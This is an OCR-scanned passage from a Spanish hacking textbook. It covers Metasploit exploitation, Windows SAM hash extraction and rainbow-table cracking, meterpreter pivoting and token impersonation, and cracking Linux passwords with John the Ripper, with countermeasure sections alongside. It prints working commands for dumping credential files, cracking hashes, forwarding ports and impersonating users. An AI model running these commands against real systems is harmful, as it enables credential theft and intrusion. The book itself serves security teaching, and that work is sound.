Una vez seleccionado el exploit para ver los pardmetros que debe utilizar
hay que ejecutar el comando show options (véase la figura 3.17). Para establecer
los parametros escriba set <pardmetro> <valor>. De esta forma si quiere asignar
al equipo remoto la direccion IP 50.2.4.6 debe escribir set RHOST 50.2.4.6.

Shell - Konsole

overflow
tion

tack Overflow

Shell - Konsole

RPORT

Figura 3.17. Consola de Metasploit - use realvnc_411_bypass

Finalmente, para utilizar el exploit debe ejecutar Exploit.
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3.2.4 Utilizacion mediante interfaz web

Desde la version 2.3 de Metasploit se incorpord un nuevo tipo de interfaz
de comunicacion con el usuario basada en una interfaz web. Para utilizar la interfaz
web primero debe ejecutar el servidor web msfweb (véase la figura 3.18).

Figura 3.18. msfweb

A continuacion, debe abrir un navegador web y escribir la direccion
http://localhost:55555 (véase la figura 3.19). Configurar y ejecutar un exploit a
través de la interfaz web es relativamente facil e intuitivo. Lo primero que debe
hacer es elegir un exploit que se adapte a la vulnerabilidad de la victima y sea
capaz de explotarla.

Una vez seleccionado el exploit y tal como aparece en la figura 3.20 debe
introducir los parametros para iniciar el ataque y luego pulsar el boton Launch
exploit.
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Microsoft IS ISAPI RSA WebAgent Redirect Overflow
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Figura 3.19. Interfaz web de Metasploit
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Microsoft RFC DCOM Intexface Overflov

Microsoft RPC DCOM Interface Overflow

Exploit and payload configuration:

CURRENT CONFIGURATION - CHANGE B
Exploit: windows/dcerpc/ms03_026_dcom
Payload: windowshncinjectireverse_tcp

‘Windows NT SP3-6a/2000/XP/2003
[lergey Universal
OPTIONS

RHOST Required
The target address (type: address)
RPORT Required
The target port (type: port) 13s
AUTOVNC Required
Automatically launch VINC viewer if present (type: bool) frue L~

Figura 3.20. Interfaz web de Metasploit - opciones del exploit RPC DCOM

3.2.5 Contramedidas

La forma de evitar este tipo de ataque es actualizar el sistema operativo y
los servicios para no utilizar versiones vulnerables. Es recomendable que el
administrador del sistema utilice de forma periddica las herramientas de escaneo de
vulnerabilidades para determinar si sus equipos son vulnerables a algun ataque.

3.3 ATAQUES CONTRA CONTRASENAS DE SISTEMAS
WINDOWS

En los sistemas operativos Windows las contraseflas no se almacenan en
texto plano, sino que se almacenan cifradas con una funcién hash en una zona
llamada Administracion de las Cuentas de Seguridad (en inglés, SAM); las
contrasefias no solo se cifran, sino que ademas se cifran de una forma aleatoria
conocida como “hash unidireccional”, que significa que el algoritmo de cifrado
convertira la contraseiia de texto plano a su forma cifrada (hash) pero que a partir
del hash no se puede obtener la contrasefia.

Windows almacena dos versiones del hash en el fichero SAM: “hash del
administrador de la LAN” o “LANMAN” (version heredada de Windows NT). El
hash LANMAN se calcula partiendo de la version en letras mayusculas de la
contrasefia del usuario y se divide en dos mitades de siete caracteres cada una. A
causa de sus propiedades, este tipo de contraseia resulta mucho mas sencilla de
craquear que su sucesor, el Administrador de la LAN en NT (NTLM), que entre
otras caracteristicas, no convierte la contrasefia a caracteres en mayusculas.
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En la tabla 3.2 puede ver los diferentes tipos de validacion y los sistemas
operativos que lo soportan.

Tabla 3.2. Tipos de autenticacion

Win 9x Win NT4 WinXP/Vista Win200x
LAN Manager v v
NTLM v v v
NTLM v2 v con SP4 4 v
Kerberos v o

A modo de ejemplo puede ver a continuacion el hash de la cuenta de
administrador de un equipo:

Administrador:500:BCE739534EA4E445AAD3B435B51404EE: 616820449E
071DF5D1C893BA19CA6772:::

La seccion delimitada por los dos signos (:), que comienza con “BCE7” y
termina con “04EE” es el hash LANMAN. La seccion entre “6168” y “6772” es el
hash NTLM. Ambos hashes tienen 32 caracteres de longitud y representan la
misma contrasefia, pero el primero resulta mucho mas facil de craquear y de
recuperar la contrasefla en texto plano.

Como se ha dicho antes, “en teoria” no es posible obtener una contrasefia a
partir de su funcion hash. “En teoria” porque en el afio 2003 varios investigadores
consiguieron romper las funciones hash.

Para obtener la contraseila de un sistema, primero hay que obtener los
valores hash del sistema ejecutando el comando pwdump3, y después hay que
utilizar las Rainbow Tables para obtener las contrasefias que representan dichos
valores. Las tablas Rainbow son tablas que se generan previamente para obtener
una contrasefia con una longitud y un determinado conjunto de caracteres.

El problema y la dificultad para obtener las contrasefias de un sistema, es el
disponer de las tablas suficientemente grandes para romper cualquier tipo de
contrasefia. Para hacerse una idea del problema, a continuacion puede ver, para
diferentes conjuntos de caracteres, el tamafio en disco que ocupa y el tiempo de
ejecucion necesario para generar cada tabla. Logicamente, cuando mayor sea el
conjunto de caracteres mayor sera la probabilidad de acierto para obtener la
contrasefia. En la tabla 3.3 puede ver para los diferentes conjuntos de caracteres
que forman una contrasefia el tamafio en disco que ocupa la tabla y el tiempo de
ejecucion necesario para ejecutar la tabla.
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Los conjuntos de caracteres tan solo utilizan caracteres en mayusculas
porque un paso previo de la funcion LM es convertir la contraseiia a mayusculas,
por lo que el ataque es mucho mas simple.

Tabla 3.3. Tipos de ataques

Tamaiio en Tiempo de

Disco ejecucién para
Conjunto de caracteres generar la tabla*
0123456789 125 MB 4 horas
ABCDEFGHIJKLMNOPQRSTUVWXYZ 610 MB 2 dias
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 3GB 15 dias
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 18.3 GB 224 dias

|@#8%"&*()-_+=

ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 119 GB 2354 dias

1@#8%6"&*()-_+=~"[1{}[\5"<..7/

* El tiempo ha sido calculado con un Pentium 666MHz

Ademas de poder generar nuestras propias tablas, puede utilizar los
servicios proporcionados por diferentes portales: para descargar las tablas
www.freerainbowtables.com; para utilizar las tablas de otros sistemas previo pago
o si lo desea puede ayudar a la comunidad a generar de forma distribuida las tablas
(por ejemplo, DistrRTgen - figura 3.22).

Panda Antivirus * "

» e uie Rancon it afh ozt o hos e comoites

Figura 3.21. www.freerainbowtables.com
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Ademas de poder obtener la contrasefias con rfcrack, también puede

utilizar otras herramientas como Cain y @stack LC4 que resulta més facil de

utilizar cuando las contrasefias se pueden romper con un ataque de diccionario. En
la figura 3.23 puede ver la herramienta @stack LC4.

[0t nbovtaves Geneatot STET

Fie Settngs  About

[

Table set:

istrRTgen

Status: Calculating

Speed. 42 chains / second

2981261500000 chains completed

Figura 3.22. DistrRTgen

A continuacion se va ver un ejemplo en el que se obtienen las contrasefias
de los usuarios de un sistema. Para reducir el tiempo de ejecucion, para realizar el

ejemplo se han creado las tablas Rainbow para poder obtener unicamente

contrasefias numéricas.

Los pasos que debe realizar son los siguientes:

e Obtener el fichero de contraseiias SAM.

e  Generar las tablas Rainbow y ordenarlas.

e Obtener la contrasefia.
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Figura 3.23. @stack LC4
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3.3.1 Obtencion del fichero SAM

El fichero SAM se encuentra en el directorio %windir%\system32\config
donde puede encontrar un fichero llamado “SAM”, que estd formado por la
representacion de los bytes pertenecientes a la clave del registro
HKEY LOCAL MACHINE\SAM. Si intenta acceder desde el sistema de ficheros o
desde el registro de Windows cuando el sistema esta en funcionamiento se niega el
acceso tanto a modo lectura como en escritura.

Existen varias maneras de conseguir los datos almacenados en el fichero
SAM que dependen de la situacion en la que acceda a la maquina objetivo del
ataque y de las herramientas que utilice. A continuacion se van a ver las diferentes
maneras de obtener el fichero SAM.

3.3.1.1 EXTRAER SAM CON DISCOS DE ARRANQUE

Puesto que el sistema operativo bloquea los accesos al fichero SAM
cuando estd en funcionamiento, puede utilizar un disco de arranque y acceder a los
ficheros; como el sistema operativo no se estd ejecutando no tendrd ningun
problema para copiar el fichero SAM.

3.3.1.2 CIA COMMANDER

Ademas, si lo desea existen discos de arranque que permiten realizar copias
de seguridad, restaurar y modificar directamente el fichero SAM. Un ejemplo de
estos programas es CIA Commander for Windows que permite modificar la
contrasefia de un usuario del sistema.

El funcionamiento de C/4 Comander es muy sencillo:
e Arranque el equipo con el disco de inicio

e Seleccione el disco duro y la particion donde se encuentra instalado el
sistema operativo

e Seleccione User Manager y en la pantalla que aparece seleccione el
directorio donde se encuentra instalado Windows y pulse la barra
espaciadora.

e Finalmente, en la pantalla que aparece en la figura 3.24 aparece el
listado de usuarios del equipo. Si selecciona un usuario puede guardar su
contrasefia en un disco, cargarla de un disco y modificarla.
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Accounts

: Invitado
SUPPORT_388945a8

pepe
IUSR_DEMO-MHRL IUTRAX
+ THAM_DEMO-MHRLIUTRAX

[ o B o |

ficl, Jehove JELngralll 8 o g
Machine SID: S-1-5-21-6632411-2587825422-3933438035

Figura 3.24. CIA Commander for Windows

Logicamente, al ser un disco de arranque la gran desventaja es que necesita
tener acceso fisico al equipo.

3.3.1.3 EXTRAER S4AM CON PWDUMP

Pwdump es una herramienta creada con el fin de extraer el contenido del
SAM en un fichero de texto. Para poder realizar esta funcion necesita tener
privilegios de administrador. Para obtener los valores /ash de las contrasefias de un
sistema debe ejecutar el comando pwdump3 como administrador del sistema.

La sintaxis del comando es:
pwdump3 <nombre miquina> <fichero a generar>

Por ejemplo, en la figura 3.25 puede ver que se ha ejecutado el comando
pwdump3 servidor datos.txt:

&< Simbolo del sistema f

ub
under th
NO WA 5
Plea: he COPYING file included with t
> at www.e tech.con/pudunp3) and the GNU Gl
Conpleted.

C:\pudunp3u2>_

Figura 3.25. pwdump3
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El contenido del fichero generado es el siguiente:

datos.txt

Administrador:500:E1EC19D97C21BE9D7584248B8D2C9FIE:9354D9D68325314C5DBB08F315B35ABB:::
ana:1005:CCF9155E3E7DB453AAD3B435B51404EE:3DBDE697D71690A769204BEB12283678:::

felipe:1008: AEBD4DE384C7EC43AAD3B435B51404EE:7A21990FCD3D759941 E45C490F 143DSF:::
Invitado:501:NO PASSWORD#*##### ks sksksssstsss N PASSWORDFF#k skttt -
Jjavier:1006:0B1D44C6C4139530AAD3B435B51404EE:483D9BAAAF3104161C3AD1B34553D374:::
maria:1004:D7FD67A694E3B797AAD3B435B51404EE:DB4C43150BA0D803B6FF1A7F22F79FBD:::
pepe:1003:D931A4EE9642F3DA8928BD2185125EFC:16B3581069729126E06E4BD48315FBFE:::

tomas:1007:0B1D44C6C4139530AAD3B435B51404EE:3495BE77996191A8136951F93FA67AT6:::

3.3.1.4 EXTRAER SAM UTILIZANDO EL PROGRAMA
CAIN & ABEL

Lo primero que debe hacer es instalar el servicio Abel en la maquina
remota donde quiere extraer las contrasefias; esto se puede hacer de dos maneras:
enviando los ficheros Abel.exe y Abel.dll a dicha maquina y ejecutando el primero,
o utilizar Cain y realizar los siguientes pasos:

e En la pestaila Network seleccione la raiz del arbol Microsoft Windows
Network.

e Despliegue el subarbol A4/l computers y seleccione el equipo remoto
objetivo.

e Despliegue de nuevo el subarbol hasta llegar a una hoja que se denomina
Services (véase la figura 3.26).

e Posteriormente, con el boton derecho del raton utilice la opcion install
Abel.
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Figura 3.26. Cain

Una vez instalado el servicio Abel aparece un nuevo subarbol de opciones
cuya raiz se denomina A4bel. Entre las diferentes posibilidades que permite realizar
este servicio existe una que se llama Hashes. Si selecciona la opcion Hashes se
muestran las contrasefias encriptadas pertenecientes al sistema remoto. Como
muestra la figura 3.27. Si selecciona todas las claves que ha encontrado Abel y hace
clic con el boton derecho, se desplegara un submenu desde el que puede exportar
los hashes a un fichero con formato */c (LOphtcrack) o enviar las contrasefias
encriptadas al propio cracker que Cain incorpora.

Fia View Corfigue Took Hep

SRS HEBE +y R umErEFa038922 02 0

T vk [0 s [ v [ Goder [ ammose [E8 coou [ v |

§ e v

Tro_T<s]

Lontten Hash

THTHesh T

User Name.
i

b \Lhostishered Folders
= b GRUPO_TRABAY
=) 8 A Computers

aioa
= B sriesnsonrosa
~ M

rr
P Routes
£ Tep Table
= Table
(- PRUEBA-SSAITOE
= verma
& Agle Fie Servers

ts

et o

Figura 3.27. Cain mostrando las firmas hash de las contraseiias
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Si desea utilizar Cain para obtener la contrasefia debe realizar los

siguientes pasos:

e Seleccione los hashes, pulse el boton derecho y utilice la opcion “Send

to cracker” o “Send all to cracker”.

e En la pestaiia Cracker y seleccione el subarbol LM & NTLM hashes.

e Seleccione la cuenta de usuario de la que quiere recuperar la contrasefia,
pulse el boton derecho, seleccione el tipo de ataque que desea realizar y

Cain iniciara el ataque (véase la figura 3.28)

e Una vez finalizado el ataque el Cain mostrara la contrasefa del usuario.

3.3.1.5 EXTRAER SAM DEL DIRECTORIO REPAIR

En los sistemas operativos Windows existe una utilidad denominada rdisk,
la cual permite recuperar fallos en el sistema operativo gracias a que guarda en el
directorio %WindowsRoot%\repair una copia de seguridad de los datos mas
importantes. Entre la informaciéon que almacena se encuentra un fichero
denominado “SAM. ” donde se guarda de forma comprimida el SAM del sistema.
Este fichero se puede copiar y modificar sin que el sistema detecte ningun tipo de

ataque.

Para descomprimir el fichero para poder utilizarlo libremente debe ejecutar

el comando expand a través de la consola de Windows:

C:\> expand sam._ sam2

=] || M [T

St

TeszEtanGr

Curet pasverd

Tios Lo

T

TESTIYI
Caca139¢3

e
0 ie BoLaoo

e T

Figura 3.28. Cain rompiendo una contraseiia
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3.3.2 Crackeando el SAM (tablas Rainbow)

El paso mdas importante que tiene que realizar es generar las tablas
Rainbow. Para poder generar las tablas Rainbow necesita utilizar el comando rtgen
que va incluido en rainbowcrackl.2-win.

Para generar la tabla hay que indicar la longitud maxima de la contraseiia y
el conjunto de caracteres que puede tener la contraseiia que desea romper. Los
conjuntos de caracteres se encuentran definidos en el fichero charset.txt.

Por ejemplo, si desea generar una tabla con el conjunto de caracteres
numéricos debe ejecutar el siguiente comando:

rtgen lm numeric 1 7 0 2100 8000000 all
Los parametros mdas importantes son:

e Imes el tipo de firma digital. Los tipos de firma digital son /m, ntim, md5
y shal.

e numeric es el conjunto de caracteres definido en el fichero charset.txt.
Los conjuntos de caracteres definidos son:

numeric = [0123456789]

alpha = [ABCDEFGHIJKLMNOPQRSTUVWXYZ]

alpha-numeric = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]

alpha-numeric-symbol14 = [ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
|@#$%"&*()-_+=]

all = [ABCDEFGHUKLMNOPQRSTUVWXYZ
0123456789
|@#$9%°&*0-_+=[1{}1\;" <>, 2]

e ] eslalongitud minima de la contraseia y 7 es la longitud méxima.
e (eselindice de la tabla Rainbow.

e all es el sufijo que tendra el fichero.
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0 C\WINDOWS)\ system32\cmd.exe - rtgen Im numeric 1 7 L 10| x|

rainboucrackdrtgen 1ln numeric 1 7 8 2160 8000998 all
i In

reduce of

generating. ..

Figura 3.29. rtgen Im numeric 1 7 0 2100 800000000 all

La probabilidad de obtener la contrasefia teniendo una tabla es del 0,6055
(60,05%). Si quiere aumentar la probabilidad de acierto puede afiadir mas tablas
Rainbow. Para calcular la probabilidad de acierto teniendo varias tablas hay que
seguir la siguiente ecuacion:

p(n)=1 - (1 - 0.6055) " n

Tal y como puede ver en la figura 3.30, si utiliza una tabla Rainbow tiene
una probabilidad del 60,55%, con dos un 88,44%, con tres 93,86% y a partir de
cinco tablas tiene una probabilidad superior al 99%.

1.0 4 M_ao-—o——o—o—o—o—o
09
0.8 /
07
0,6
05
04
0,3
02
0,1
0.0 ; . . . . . . . . . |
1 2 3 4 5 6 7 g8 9 10 1
Numero de tablas

1\\

Probabilidad

Figura 3.30. Probabilidad de éxito utilizando varias tablas Rainbow
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Como se ha visto antes, el quinto parametro indica el numero de tablas que
desea generar. A continuacion puede ver el codigo necesario para generar 5 tablas
numeéricas.

rtgen 1lm numeric 1 7 0 2100 8000000 all
rtgen lm numeric 1 7 1 2100 8000000 all
rtgen lm numeric 1 7 2 2100 8000000 all
rtgen lm numeric 1 7 3 2100 8000000 all
rtgen lm numeric 1 7 4 2100 8000000 all

Una vez generadas las tablas, el siguiente paso que debe realizar es
ordenarlas. Para ello debe ejecutar el comando rsort <nombre de la tabla>.

rtsort lm numeric#1-7_0_2100x8000000_all.rt

E:\rainhowcrack>

Figura 3.31. rtsort Im_numeric#1-7_0_2100x800000000_all.rt

3.3.3 Obtener la contraseiia

Una vez guardados los valores hash en el fichero datos.txt, para obtener las
contrasefias debe ejecutar el comando:

rcrack *.rt -f datos.txt
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A

Transcurridos unos minutos, el sistema muestra las contrasefias en texto
plano de cada usuario. En la figura 3.32 puede ver que el sistema muestra las
contraseflas numéricas de los usuarios Ana y Felipe. En los demds usuarios pone
<notfound> porque sus contraseflas tenian texto y en el ejemplo solo se han
generado las tablas para contraseflas numéricas.

-10| x|

cryptanalysis time:

1n_numericii—7_0_2108x8000000_all.r

1280000PA hytes read, disk access time: 8.23 s
ing the file

searching for 3 ha

blaintext of ccf9155e3e7dh453 is 123

plaintext of aebd4de384c?ecd3 is 12345

cryptanalysis time: 1874.55 s

6 of 7 <B5.71%>

0.64 s
1084.685 s
9313339
total false alarm 1770500
total chain walk step due to false alarm: 1423579269

<notfound>

123 hex:31 3

12345 he 132333435
<notfound> hex:<notfound>
<notfound>

<notfound>

<notfound> hex:<{notfound>

Figura 3.32. rcrack *.rt —f datos.txt

3.3.4 Postexplotaciéon

Una vez que tiene acceso a un equipo de la red, el siguiente paso es tomar
el control de los demas equipos de la red. Cada ataque, sistema e infraestructura de
red es diferente y no existe una tnica manera de comprometer un sistema, por lo
que es importante conocer cuantas mas técnicas mejor ya que nunca se sabe cuando
se van a poner en practica.

A continuacion se presentan los pasos mas habituales que debe realizar
para tomar el control utilizando la utilidad meterpreter de Metasploit.

El primer paso a realizar es obtener los posibles vectores de ataque desde
lo que se tiene acceso. Para ello,

e Primero identificamos la configuracion IP del equipo comprometido
ejecutando el comando ipconfig.
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IP Address
Netmask
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Netmask
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1.131
255.0

15.3
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Figura 3.33. ipconfig

e El siguiente paso es utilizar el modulo arp scanner para identificar los
equipos que se encuentran activos en la red.

meterpreter > run arp_scanner -r 192.168.15.1/24

[*] ARP
[*] IB:
(*] Ip:
[*] IB:
meterpre
[*] ARP
[*] IP:
[*] Ip:
[*] TP
Xl Ee:

Scanning 192.168.15.1/24
.168.15.5
.168.15.3
+168;15.1

192
192
192
ter

> run arp_scanner -r 192.168.0.1/24

Scanning 192.168.0.1/24
168, 0.1
o - o

192
192

192.
L9270

168.0.9
168.0.7

Figura 3.34. arp_scanner

e Otro comando muy util es route ya que permite determinar si el equipo
se encuentra dentro de una subred.

background

nsf exploit (handler) > route add 192.168.15.1 255.255.255.0 1

[*] Route added

msf exploit (handler) > route print

Subnet Netmask

Active Routing Table

Gateway
——————— 192168151 255.255.255.10

Figura 3.35. route

Session 1
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e El siguiente paso es utilizar el modulo arp scaner para identificar los
equipos que se encuentran activos en la red. Para ello primero se ejecuta
el comando backgrond que permite dejar en segundo plano el
meterpreter para finalmente afiadirle una ruta estdtica que permita
acceder a la una maquina concreta desde la maquina comprometida.

e Una vez determinados los equipos que hay activos, es necesario realizar
un escaneo de puertos y servicios con el modulo portscan disponible en
el apartado auxliary de modulos de Metasploit.

msf exploit (handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary (tcp) > set RHOSTS 192.168.15.1

RHOSTS => 192.168.15.1

msf auxiliary (tcp) > set PORTS 1-1024

PORTS => 1-1024

Figura 3.36

e Siidentifica algun puerto que pueda resultar interesante (por ejemplo, el
puerto 3389 que permite conectarte de forma remota a un equipo
Windows), es necesario configurar la maquina comprometida para poder
utilizarla de pasarlela de ataque y asi utilizar el puerto. Para ello, se
utiliza el comando portfid y asi reenviar el trafico de un puerto hacia el
nuevo equipo. A continuaciéon puede ver como se utiliza portfwd para
que las peticiones que vayan al puerto 8000 del equipo comprometido
vayan directamente al equipo donde se ha determinado que el puerto
3389 esta activo (la IP 192.168.15.1).

msf > sessions -i 1
meterpreter > portfwd add -1 8000 -p 3389 -r 192.168.15.1
[*] Local TCP relay created: 0.0.0.0:8000 <-> 192.168.15.1:3389

Figura 3.37

Una vez que comprometemos una maquina es posible utilizar muchos otros
modulos de postexplotacion. A continuacion, se muesta un ejemplo:

meterpreter > use Incognito
Loading extension incognito..success.
meterpreter > list tokens -u
Delegation Tokens Available

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
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VM-WINXP\Test

Impersonation Tokens Available
NT AUTHORITY\ANONYMOUS LOGON
meterpreter > impersonate token vm-winxp\\Test
[+] Delegation token available

[+] Successfully impersonated user VM-WINXP\Test
meterpreter > getuid

Server username: VM-WINXP\Test

meterpreter > execute -f cmd.exe -i -t

Process 416 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>whoami

whoami

VM-WINXP\Test

Como ha podido ver en el ejemplo, es posible impersonar un usuario que
ha accedido al equipo. De esta manera si el administrador de un dominio ha
accedido al equipo que comprometido se puede impersonar su usuario y ejecutar
acciones como administrador.

3.3.5 LiveCD ophcrack

ophcrack es una distribucion LiveCD diseiada para obtener las contrasefias
de un sistema Windows: http://ophcrack.sourceforge.net/

La utilizacion de ophcrack es muy sencilla ya que tan solo debe arrancar el
equipo con la distribucion LiveCD, y automaticamente, obtiene el fichero SAM y
utiliza las tablas Rainbow que incorpora el CD para obtener las contrasefias. En la
figura 3.38 puede ver el resultado de la ejecucion de ophcrack donde se muestran
las contrasefias de varios usuarios.

Si desea pasar la imagen ISO a una unidad USB debe realizar los
siguientes pasos:

1. Descargue la ultima imagen ISO del LiveCD de Ophcrack.

2. Descargue e instale MySlax Creator (http.://myslax.bonsonno.org/).

3. Ejecute MySlax Creator.

4. En la pantalla de seleccion de origen (Select Source): seleccione la opcion

iso-default, luego indique donde tiene la imagen ISO, haga clic en mount y,
luego, haga clic en la unidad USB.
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5. En la siguiente pantalla seleccione la unidad USB donde quiere guardar la
ISO y pulse en Create USB stick.

[Found ore partition that. contains hashes:
/0t AL VIOt conk i

[Foced Windovs: SFSTEN File )
[Fourd Windous S File 1)

B 8 8

BEac

About

stop

(o [userna/Linash [Lipassma | Lipasswaz [Tpasswd

o1 invtado Py EMPTY)
1001 SUPPORY_38854500 /EMPTY

1003 pepe 12345 12345
1004 ana 2345 An234s

e e e e e S

on J€ ochermct

Figura 3.38. ophcrack

* MySLAX Creator by Martijn Starrenburg version 1.4.1

MySLAX creator
Create a bootable UISB SLAX stick

Select USB drive:

e Disco extraible (G:) v
Status
H:\base\tmp\usribin\ophcrack -> G:\base\tmp\usribin)ophcrack A

Create MySLAX stick|

H:\base\tupiusr\bin\sandusp? -> G:\base\tmp\usr\bin\sandunp?
H:\base\tupiusr\share\ophcrack\pixuapsilogo_os.xpm -> G:\bas
H:\base\tup\usr\share\ophcrack\pixmaps\os.ico -> G:\base\tmy
H:\base\tup\usr)shars\ophcrack\pisuaps\os. xpn ~> G:\base\tuy

Figura 3.39. MySlax - Pasar una imagen 1SO a un USB
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3.3.6 Contramedidas

Uno de los puntos méas importantes de un sistema es la fortaleza de las
contraseflas de los usuarios. Si un usuario que tiene muchos privilegios utiliza
como contrasefia “hola”, entonces nuestro sistema correrd un grave peligro. Los
usuarios siempre han demostrado sus escasas habilidades a la hora de generar
contrasefias, pero han sido incluso peores a la hora de guardar el secreto. Quiza el
sistema informatico tenga una seguridad perfecta, pero una contrasefia débil puede
suponer revelar informacion, iniciar un ataque por denegacion de servicio o,
incluso sabotear la red. Salvo que se utilicen varios métodos de autenticacion para
los usuarios (por ejemplo, huella dactilar, tarjeta), debe utilizar las directivas de
cuenta para fortalecer la seguridad de las contrasefias del sistema.

Dentro de [Inicio, Herramientas administrativas ejecute el Administrador
de directivas de seguridad local para establecer los requisitos que deben cumplir
las contrasefias de los usuarios (véase figura 3.40).

=10jx|

5 Cortepractn o sepmdd - i Ay
08 Directvas |Almacenar contrasefias usando cif... Deshabiitada
a8 e [Forzar el historial de contrasefias 0 contrasedias recor,

o5 ... Deshabitad

35
51 Directivas locales.
- Diectivas de laves piblicas

Ocaracteres
42
dss

-] Diectivas de restriccién de software

) aun

Figura 3.40. Directivas de seguridad local

Como minimo se recomienda que las contrasefias tengan una longitud de
10 caracteres y que sea necesario utilizar numeros, letras y simbolos.

Otra medida de seguridad que puede tomar es que los usuarios utilicen
medidas biométricas para autenticarse en el sistema. Para ello lo mas normal es
utilizar un lector de huellas dactilares que cuesta unos 40 €. En la figura 3.41 puede
ver un ejemplo de un lector de huellas.
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Figura 3.41. Lector de huellas dactilares

El funcionamiento de un lector de huellas dactilares es muy simple. Lo
primero que debe hacer es cambiar la contrasefa del sistema por una que sea muy
segura (por ejemplo, 20 caracteres de longitud con nimeros, letras y simbolos) que
le servira en caso de que se estropee el lector de huellas.

Una vez cambiada la contraseiia instale el software y ejecute el asistente
para registrar sus huellas digitales. Para cada dedo el sistema le pedird varias
lecturas de su huella (véase la figura 3.42).

Asistente para el registro de huellas digitales X
Registrar una huella digital ﬁ

Debe digializar correctamente cualio veces su huela digial para poder registra el dedo indice
lzquier

00

Se ha realizado la digitalizacin. Yuelva a colocar el dedo
en el lector de huellas digitales,

[ <avas [Siguiente> ] [ cancelar |

Figura 3.42. Asistente para el registro de huellas dactilares

Una vez configurado el sistema reinicie el equipo y vera que en la pantalla
de inicio de sesion aparece en la esquina superior izquierda (véase la figura 3.43)
un icono que le indica la posibilidad de realizar la autenticacion a través de sus
huellas dactilares. Ademas, recuerde que también puede autenticarse en el sistema
a través de la contrasefia.
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&y
L

u 2
Windows

To begin. cick your user name

Figura 3.43. Inicio de Windows con medidas biométricas

3.4 ATAQUES CONTRA CONTRASENAS DE SISTEMAS
GNU/LINUX

En los sistemas GNU/Linux se suele utilizar el algoritmo MDS5 de firma
digital para guardar el hash de las contrasefias en el fichero /etc/passwd o
/fetc/shadow. Antiguamente los hash se guardaban siempre en el fichero
/etc/passwd y como todos los usuarios tienen permisos de lectura en ese fichero, lo
copiaban y realizaban un ataque de fuerza bruta para obtener las contrasefias del
sistema.

Posteriormente, se tomd como opcion guardar el hash de las contrasefias en
el fichero /etc/shadow y en teoria ese fichero no lo pueden copiar los usuarios
porque tan solo tiene permisos de lectura el root de sistema.

Los algoritmos de firma digital, como es el caso de MDS, permiten que a
partir de un texto obtener una firma y si se realiza la mas minima modificacion del
texto, entonces la firma cambia. Logicamente, a partir de la firma digital es
imposible obtener el texto original.

Para obtener las contraseflas de un sistema GNU/Linux se realiza un ataque
de fuerza bruta utilizando John the Ripper o @stack LCS5.
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A

3.4.1 John the Ripper

John the Rripper (www.openwall.com/john/) permite realizar un ataque de
fuerza bruta a un fichero de contrasefias de un sistema GNU/Linux. Para obtener
las contrasefias de un fichero primero realiza un ataque de diccionario (por defecto
utiliza el fichero passwd.lst) y después realiza un ataque de fuerza bruta probando
todas las combinaciones posibles.

Para realizar el ataque de fuerza bruta hay que tener las contrasefias en el
fichero passwd. Si no es asi, y tiene las contrasefias en el fichero shadow entonces
tiene que ejecutar el siguiente comando:

unshadow passwd shadow >nuevo_passwd. txt

donde nuevo passwd.txt es el fichero que se obtiene al juntar el fichero shadow y
passwd.

Una vez que tiene el fichero de contrasefias para iniciar el ataque tan solo
debe de ejecutar el siguiente comando:

john passwd

Y, una vez finalizado el proceso el programa, le mostrara las contrasefias
de los usuarios del sistema (véase la figura 3.44).

IC:\john—16>john p.
Loaded 5 password i (FreeBSD MD5 [32,/321>

Cusuariod
C(ana>
C(root)

(pepe>
: 5 time: B:00:00:00 180x (2> c/s: 4289 trying: hola

:\john-16>

Figura 3.44. John the Ripper mostrando las contrasefias de un sistema Linux

En la tabla 3.4 se muestran las opciones mas importantes de John the
Ripper.
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3.4.2 @stack LCS

@stack LC5 es un programa muy sencillo que permite realizar ataques de
fuerza bruta a las contrasefias de los sistemas Windows y GNU/Linux. Para
utilizarlo tan solo debe importa el fichero passwd y pulsar el Play para iniciar el
ataque.

Tabla 3.4. Opciones mas importantes de John the Ripper
Opcién Descripcion

--test Realizar un test para comprobar el numero de contrasefias que
puede comprobar por segundo el sistema.

Ejemplo: john test

--single Utiliza la informacion contenida en el passwd para averiguar la
contrasena.

Ejemplo: john --single /etc/passwd

--wordlist Utiliza un diccionario para obtener la contraseia.

Ejemplo: john --wordlist=diccionario.txt

--incremental Genera de forma incremental las distintas contrasefias a probar,
por ejemplo, una lista de numeros. Sus opciones mas importantes
son:

e alpha: Genera claves con las 26 letras del alfabeto.
e digits: Genera claves con niimeros.

e all: Genera claves con numeros, letras y caracteres
especiales.

Ejemplo: john --incremental:digits /etc/passwd

--restore Permite restaurar una busqueda interrumpida anteriormente.

Ejemplo: john —restore

--show Muestra las contrasefias descubiertas.

Ejemplo: john --show
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LrOoPe*oBrnage

/R X

- - =]

2“ Bepe BT

Figura 3.45. @stack LCS5 - Contrasefias del sistema

3.4.3 Contramedidas

Para mejorar la seguridad de las contrasefias del sistema debemos tener en
cuenta los siguientes consejos:

Cambiarlas cada cierto tiempo. Tampoco hay que cambiarlas con
demasiada frecuencia porque puede ser contraproducente.

Que estén compuestas por una mezcla de letras, numeros y otros
caracteres. Ademads, es conveniente mezclarlas y no poner por ejemplo
los niimeros solo al principio o al final.

Que tengan una longitud no muy corta. Las contrasefias cortas pueden
ser sacadas por fuerza bruta en un tiempo asequible, si es muy larga
puede provocar que se olvide o se deje apuntada al lado de la pantalla.

No usar una misma contrasefla en distintos sitios. Si consiguen una las
tienen todas, ademas a la hora de cambiar una que se sospeche peligrosa
habria que cambiarlas todas.

No debe utilizar alguna palabra conocida o informacion personal.

Para establecer las politicas de seguridad de las contrasefias debemos
modificar el fichero /etc/login.defs, donde podemos especificar la longitud de la
contrasefia, tiempo que ha de pasar entre intentos fallidos al introducir una
contrasefia, tiempo de bloqueo tras cierto nimero de fallos, etc.







Capitulo 4

HACKING DE REDES

4.1 INTRODUCCION

Las redes de computadores cada vez ofrecen mds servicios, permiten
comunicarnos, conectarnos a nuestro banco, realizar compras, etc. Por lo tanto,
cada vez es mas necesario que usuarios con dudosos fines puedan utilizar la red
como medio para realizar sus fechorias.

